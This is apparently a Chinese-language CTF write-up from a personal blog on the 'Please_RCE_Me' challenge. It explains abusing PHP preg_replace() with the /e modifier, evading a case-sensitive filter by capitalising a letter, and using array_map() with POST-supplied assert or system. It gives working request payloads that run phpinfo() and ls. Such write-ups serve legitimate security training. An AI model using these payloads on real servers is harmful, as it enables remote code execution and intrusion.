刷题训练
Please_RCE_Me
/这题挺简单的妥妥签到题/
打开题目,得到提示GET传moran=flag
可以看到源码
分析源码,需要利用的函数是
preg_replace()
,使用了/e
修饰符,当第一个参数的字符串在第三个参数中检测到时,会将第二个参数作为php代码执行,且使用了/i
的修饰符,大小写不敏感需要绕过正则匹配
能直接用的命令执行函数基本上都被过滤了,限制了flag字符串长度,并且过滤了
preg_replace()
中的please_give_me_flag
,但是没有使用/i
大小写不敏感,所以可以用大写绕过task
参数传入的为我们需要执行的代码,flag
参数传入含有please_give_me_flag
的字符串查阅可以进行RCE的函数,发现还有一个
array_map()
可以使用array_map()
需传入两个参数,第一个参数为使用的函数,第二个参数为一个数组,并且数组的数据为函数的参数,例如1
2&arr = array('phpinfo()');
array_map('assert',&arr);就可以执行
phpinfo()
由于
task
参数被限制,可以添加$_POST['a']
来执行任意代码1
payload:task=array_map($_POST['a'],$_POST['b'])&flag=please_give_me_flaG&a=assert&b[]=phpinfo()
执行成功,开始找flag,用
system()
1
task=array_map($_POST['a'],$_POST['b'])&flag=please_give_me_flaG&a=system&b[]=ls
得到flag
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Luo 666!